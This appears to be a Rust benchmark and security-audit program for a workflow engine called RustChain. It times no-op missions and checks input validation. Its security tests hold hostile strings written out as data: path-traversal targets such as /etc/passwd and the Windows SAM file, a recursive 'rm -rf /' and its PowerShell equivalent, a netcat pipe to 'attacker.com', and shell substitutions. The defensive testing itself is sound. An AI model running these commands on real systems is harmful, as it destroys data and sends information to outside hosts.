use rustchain::engine::{Mission, MissionStep, StepType, DagExecutor, MissionConfig};
use serde_json::json;
use std::time::{Instant, Duration};
#[tokio::main]
async fn main() -> anyhow::Result<()> {
println!("⚡ RustChain Performance & Security Audit");
println!("========================================");
let mut performance_scores = Vec::new();
let mut security_issues = Vec::new();
println!("\n⏱️ Performance Test 1: Single Step Execution Speed");
let start = Instant::now();
let single_step_mission = Mission {
version: "1.0".to_string(),
name: "Single Step Performance Test".to_string(),
description: Some("Measure single step execution speed".to_string()),
steps: vec![
MissionStep {
id: "perf_test_1".to_string(),
name: "Performance Test Step".to_string(),
step_type: StepType::Noop,
depends_on: None,
timeout_seconds: None,
continue_on_error: Some(false),
parameters: json!({}),
}
],
config: None,
};
match DagExecutor::execute_mission(single_step_mission).await {
Ok(_) => {
let duration = start.elapsed();
performance_scores.push(("Single Step", duration));
println!(" ✅ Single step execution: {:.2}ms", duration.as_millis());
if duration.as_millis() < 100 {
println!(" 🚀 EXCELLENT: Sub-100ms execution");
} else if duration.as_millis() < 500 {
println!(" 👍 GOOD: Sub-500ms execution");
} else {
println!(" ⚠️ SLOW: >500ms execution");
}
},
Err(e) => println!(" ❌ Single step test failed: {}", e),
}
println!("\n⏱️ Performance Test 2: Multi-Step Execution");
let start = Instant::now();
let multi_step_mission = Mission {
version: "1.0".to_string(),
name: "Multi-Step Performance Test".to_string(),
description: Some("Measure multi-step execution performance".to_string()),
steps: vec![
MissionStep {
id: "step_1".to_string(),
name: "Step 1".to_string(),
step_type: StepType::Noop,
depends_on: None,
timeout_seconds: None,
continue_on_error: Some(false),
parameters: json!({}),
},
MissionStep {
id: "step_2".to_string(),
name: "Step 2".to_string(),
step_type: StepType::Noop,
depends_on: None, timeout_seconds: None,
continue_on_error: Some(false),
parameters: json!({}),
},
MissionStep {
id: "step_3".to_string(),
name: "Step 3".to_string(),
step_type: StepType::Noop,
depends_on: None, timeout_seconds: None,
continue_on_error: Some(false),
parameters: json!({}),
}
],
config: None,
};
match DagExecutor::execute_mission(multi_step_mission).await {
Ok(result) => {
let duration = start.elapsed();
performance_scores.push(("Multi-Step (3 steps)", duration));
println!(" ✅ Multi-step execution: {:.2}ms for {} steps", duration.as_millis(), result.step_results.len());
let per_step_ms = duration.as_millis() as f64 / result.step_results.len() as f64;
println!(" 📊 Per-step average: {:.2}ms", per_step_ms);
if per_step_ms < 50.0 {
println!(" 🚀 EXCELLENT: <50ms per step");
} else if per_step_ms < 200.0 {
println!(" 👍 GOOD: <200ms per step");
} else {
println!(" ⚠️ SLOW: >200ms per step");
}
},
Err(e) => println!(" ❌ Multi-step test failed: {}", e),
}
println!("\n⏱️ Performance Test 3: Parallel Step Execution");
let start = Instant::now();
let parallel_mission = Mission {
version: "1.0".to_string(),
name: "Parallel Performance Test".to_string(),
description: Some("Test parallel execution performance".to_string()),
steps: vec![
MissionStep {
id: "parallel_1".to_string(),
name: "Parallel Step 1".to_string(),
step_type: StepType::Noop,
depends_on: None,
timeout_seconds: None,
continue_on_error: Some(false),
parameters: json!({}),
},
MissionStep {
id: "parallel_2".to_string(),
name: "Parallel Step 2".to_string(),
step_type: StepType::Noop,
depends_on: None,
timeout_seconds: None,
continue_on_error: Some(false),
parameters: json!({}),
},
MissionStep {
id: "parallel_3".to_string(),
name: "Parallel Step 3".to_string(),
step_type: StepType::Noop,
depends_on: None,
timeout_seconds: None,
continue_on_error: Some(false),
parameters: json!({}),
}
],
config: Some(MissionConfig {
max_parallel_steps: Some(3),
timeout_seconds: None,
fail_fast: Some(false),
}),
};
match DagExecutor::execute_mission(parallel_mission).await {
Ok(result) => {
let duration = start.elapsed();
performance_scores.push(("Parallel (3 steps)", duration));
println!(" ✅ Parallel execution: {:.2}ms for {} steps", duration.as_millis(), result.step_results.len());
if duration.as_millis() < 200 {
println!(" 🚀 EXCELLENT: Fast parallel execution");
} else {
println!(" ⚠️ Note: Check if parallel execution is actually working");
}
},
Err(e) => println!(" ❌ Parallel test failed: {}", e),
}
println!("\n🔒 Security Test 1: Input Validation");
let dangerous_paths = vec![
"../../../etc/passwd",
"..\\..\\..\\windows\\system32\\config\\sam",
"/dev/null",
"CON", "NUL", ];
let mut input_validation_passed = 0;
let mut input_validation_total = dangerous_paths.len();
for dangerous_path in dangerous_paths {
let security_test_mission = Mission {
version: "1.0".to_string(),
name: "Security Input Test".to_string(),
description: Some("Test input validation security".to_string()),
steps: vec![
MissionStep {
id: "security_test".to_string(),
name: "Security Test".to_string(),
step_type: StepType::CreateFile,
depends_on: None,
timeout_seconds: Some(5),
continue_on_error: Some(true),
parameters: json!({
"path": dangerous_path,
"content": "security test"
}),
}
],
config: None,
};
match DagExecutor::execute_mission(security_test_mission).await {
Ok(_) => {
security_issues.push(format!("Dangerous path allowed: {}", dangerous_path));
println!(" ⚠️ Dangerous path allowed: {}", dangerous_path);
},
Err(_) => {
input_validation_passed += 1;
println!(" ✅ Dangerous path rejected: {}", dangerous_path);
}
}
}
println!("\n🔒 Security Test 2: Command Injection Prevention");
let dangerous_commands = vec![
"echo test && rm -rf /",
"echo test; powershell -Command \"Remove-Item -Path C:\\ -Recurse\"",
"echo test | nc attacker.com 4444",
"$(whoami)",
"`id`",
];
let mut command_injection_prevented = 0;
let command_injection_total = dangerous_commands.len();
for dangerous_command in dangerous_commands {
let command_injection_mission = Mission {
version: "1.0".to_string(),
name: "Command Injection Test".to_string(),
description: Some("Test command injection prevention".to_string()),
steps: vec![
MissionStep {
id: "injection_test".to_string(),
name: "Injection Test".to_string(),
step_type: StepType::Command,
depends_on: None,
timeout_seconds: Some(5),
continue_on_error: Some(true),
parameters: json!({
"command": dangerous_command,
"args": []
}),
}
],
config: None,
};
match DagExecutor::execute_mission(command_injection_mission).await {
Ok(_) => {
println!(" ⚠️ Command executed (may be safe): {}", dangerous_command);
},
Err(_) => {
command_injection_prevented += 1;
println!(" ✅ Command rejected: {}", dangerous_command);
}
}
}
println!("\n💾 Memory Usage Assessment");
let memory_info = if cfg!(target_os = "windows") {
"Memory monitoring on Windows requires additional tools"
} else {
"Memory monitoring available on Unix systems"
};
println!(" 📊 {}", memory_info);
println!("\n🚀 Load Test: Rapid Mission Execution");
let load_test_start = Instant::now();
let load_test_count = 10;
let mut successful_loads = 0;
for i in 0..load_test_count {
let load_mission = Mission {
version: "1.0".to_string(),
name: format!("Load Test {}", i),
description: Some("Load testing mission".to_string()),
steps: vec![
MissionStep {
id: format!("load_step_{}", i),
name: format!("Load Step {}", i),
step_type: StepType::Noop,
depends_on: None,
timeout_seconds: None,
continue_on_error: Some(false),
parameters: json!({}),
}
],
config: None,
};
match DagExecutor::execute_mission(load_mission).await {
Ok(_) => successful_loads += 1,
Err(_) => {}
}
}
let load_test_duration = load_test_start.elapsed();
let missions_per_second = load_test_count as f64 / load_test_duration.as_secs_f64();
println!(" ✅ Load test: {}/{} missions successful", successful_loads, load_test_count);
println!(" 📊 Throughput: {:.2} missions/second", missions_per_second);
println!("\n📊 PERFORMANCE & SECURITY ASSESSMENT");
println!("====================================");
println!("\n⚡ PERFORMANCE RESULTS:");
for (test_name, duration) in &performance_scores {
println!(" {} {}: {:.2}ms",
if duration.as_millis() < 100 { "🚀" }
else if duration.as_millis() < 500 { "👍" }
else { "⚠️" },
test_name, duration.as_millis());
}
println!(" 📈 Load Test: {:.2} missions/second", missions_per_second);
println!("\n🔒 SECURITY RESULTS:");
let input_validation_rate = (input_validation_passed as f64 / input_validation_total as f64) * 100.0;
let command_injection_rate = (command_injection_prevented as f64 / command_injection_total as f64) * 100.0;
println!(" 🛡️ Input Validation: {}/{} dangerous inputs rejected ({:.1}%)",
input_validation_passed, input_validation_total, input_validation_rate);
println!(" 🛡️ Command Injection: {}/{} dangerous commands prevented ({:.1}%)",
command_injection_prevented, command_injection_total, command_injection_rate);
if !security_issues.is_empty() {
println!("\n🚨 SECURITY ISSUES FOUND:");
for issue in &security_issues {
println!(" ❌ {}", issue);
}
}
println!("\n📋 FINAL PERFORMANCE & SECURITY GRADE");
println!("=====================================");
let avg_performance_ms = performance_scores.iter()
.map(|(_, d)| d.as_millis() as f64)
.sum::<f64>() / performance_scores.len() as f64;
let security_score = (input_validation_rate + command_injection_rate) / 2.0;
if avg_performance_ms < 100.0 && security_score >= 80.0 {
println!("🎉 EXCELLENT: High performance with strong security");
} else if avg_performance_ms < 500.0 && security_score >= 60.0 {
println!("👍 GOOD: Acceptable performance and security");
} else if avg_performance_ms < 1000.0 || security_score >= 40.0 {
println!("⚠️ MODERATE: Performance or security needs improvement");
} else {
println!("❌ POOR: Significant performance and security issues");
}
println!("\n🏢 ENTERPRISE READINESS");
println!("=======================");
if avg_performance_ms < 200.0 && security_score >= 70.0 && missions_per_second >= 5.0 {
println!("✅ ENTERPRISE READY: Suitable for production deployment");
} else {
println!("🚧 NEEDS WORK: Performance or security improvements needed");
}
Ok(())
}